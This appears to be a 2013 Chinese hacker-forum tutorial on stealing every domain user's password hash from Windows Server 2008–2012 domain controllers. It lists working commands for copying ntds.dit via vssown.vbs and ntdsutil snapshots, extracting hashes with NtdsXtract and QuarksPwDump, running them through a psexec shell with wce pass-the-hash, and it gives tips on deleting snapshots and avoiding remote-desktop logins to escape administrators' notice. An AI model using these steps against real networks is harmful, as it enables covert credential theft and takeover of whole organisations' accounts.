我們來自五湖四海,不為別的,只因有共同的愛好,為中國互聯網發展出一分力!

如何抓取所有域用戶的hash(win2008--win2012)

2013年10月08日20:50 閱讀: 20195 次

如何抓取所有域用戶的hash 

gethashes.exe 和gsecdump.exe都直接悲劇,這意味著想要輕量級的抓取所有域用戶hash已經很難了。 
在線抓取失敗,沒辦法只能祭出終極武器:離線抓取! 
第一種辦法: vssown.vbs + libesedb + NtdsXtract 
詳細出處參考這里:http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html
首先用vssown.vbs把域數據庫ntds.dit和SYSTEM文件復制一份,然后把復制文件下載回本地,再利用libesedb分解ntds.dit文件,最后用NtdsXtract分析出用戶hash信息, 
這種方法除了能獲取用戶當前密碼hash外,還能獲取歷史密碼hash值,能給社工帶來更多的幫助。除此之外還能獲取很多其他的信息,比如所有計算機列表,操作系統等等保存在域數據庫中的數據。 
具體的操作過程就直接上圖了,不懂得可以去看那篇英文的文章 
不過有一點需要注意,那篇文章過后vssown.vbs有更新過,在創建shadow copy時需要指定盤符,不然會有個下標越界的錯誤,這是為了方便當域數據庫保存在D盤時的情況。 
Windows server 2012 用戶hash抓取方法研究(本地+域) 
然后把ntds.dit和SYSTEM這兩個文件下載回本地,放到BT5里面提取hash: 
可以看到成功的提取了域里面所有用戶的密碼hash 
在實際滲透時需要注意的問題: 
域的數據庫根據域的規模大小不一,我見過最大的有5G,所以下載回本地時推薦壓縮后再下載

ntdsutil.exe + QuarksPwDump.exe 
Ntdsutil.exe 是域控制器自帶的域數據庫管理工具。從windows server 2008 開始就有了。 
這個方法在QuarksPwDump.exe程序的Readme.txt里面有詳細的講解(windows 2008那個,適用于windows server 2012)。按順序運行下列命令,不用帶#號 
#ntdsutil 
#snapshot 
#activate instance ntds 
#create 
#mount {GUID} 
#copy c:MOUNT_POINTWINDOWSNTDSNTDS.dit c:NTDS_saved.dit 
#unmount {GUID} 
#quit 
#quit 
上圖: 
然后用QuarksPwDump.exe導出hash值,運行命令: 
QuarksPwDump.exe --dump-hash-domain --ntds-file c: tds.dit 
Windows server 2012 用戶hash抓取方法研究(本地+域) 
注意:我發現其實作者忘了一個步驟,是刪除快照信息,如果域管理員是利用這個工具進行管理的話,會很容易發現有人創建過快照,所以在quit之前應該執行delete {GUID}命令 
以上就是兩種比較重量級的抓取hash的方法了。第一種方法我經常用,從2003-2012通殺,有時候會遇到vssown.vbs出錯, 
一般是在windows 2008 R2上面出錯比較多,這時候改用vssadmin.exe就OK的,vssadmin.exe的用法、功能和vssown.vbs差不多,vssadmin.exe在2008 R2中自帶。 
具體使用方法參考:http://technet.microsoft.com/en-us/library/cc754968%28v=ws.10%29.aspx 
第二種也可以通殺2003到2012,但是2003里面比較麻煩,需要在圖形界面中手動備份數據庫才行,2008 和 2012則可以在命令行下搞定。另外用vssown.vbs復制出來的ntds.dit數據庫不能用QuarksPwDump抓取。 
補充:cmd shell下的抓取方式 
前面講了兩種抓取所有域用戶hash的方法,但是都是在交互的圖形化界面中進行的。實際的滲透中,最好不要用mstsc登錄域控制器, 
很可能上面裝有監控遠程桌面登錄信息的各種工具。更實際的情況應該是我們從一臺成員服務器上通過遠程的cmd shell抓取域用戶信息。 
我一般用psexec開啟一個遠程cmdshell,如果沒有域管理員密碼明文,就用wce進行hash注入,再用psexec就可以了。 
第一種方法主要是vssown.vbs的操作,沒有任何交互式的命令需要執行,所以沒有什么特別的,在psexec下面直接操作即可 
第二種方法中ntdsutil.exe的命令是交互式的,需要一步步輸入,而psexec開啟的shell是沒辦法這么做的,會直接卡死在那。 
于是我嘗試了下把命令寫在一起,就像用netsh配置網絡信息時一樣,發現是可以用的,只不過有空格的地方用引號就行了。 
所以ntdsutil的命令就可以寫成 
ntdsutil snapshot "activate instance ntds" create quit quit 
ntdsutil snapshot "mount {GUID}" quit quit 
copy MOUNT_POINTwindowsNTDS tds.dit c: tds.dit 
ntdsutil snapshot "unmount {GUID}" quit quit 
ntdsutil snapshot "delete {GUID}" quit quit 
接下來就是導出hash,執行: QuarksPwDump.exe --dump-hash-domain --ntds-file c: tds.dit 
具體的過程如下: 
總結: 
測試了這么多,最大的收獲應該是mimikatz還能抓到lm hash。其實還是有很多工具可以抓到hash的,期待wce的更新,他的hash注入功能還是很實用的。 
另外我發現有時候psexec在退出后,遠程服務器的psexec的服務并沒有被刪除,這點相當危險,而且psexec會安裝服務,很容易被管理員發現。 
理論上psexec可以用wmi遠程執行命令代替,但是一直沒有去研究那個,如果哪位大牛了解,望不吝賜教。 
最后,吐槽下windows server 2012爛到掉渣的用戶體驗,用起來跟翔一樣…… 

分享到: 更多
藍客門戶
©2001-2019 中國藍客聯盟 版權所有.
關于藍客聯盟歷史宗旨章程技術服務聯系我們藍客社區

云南11选5遗漏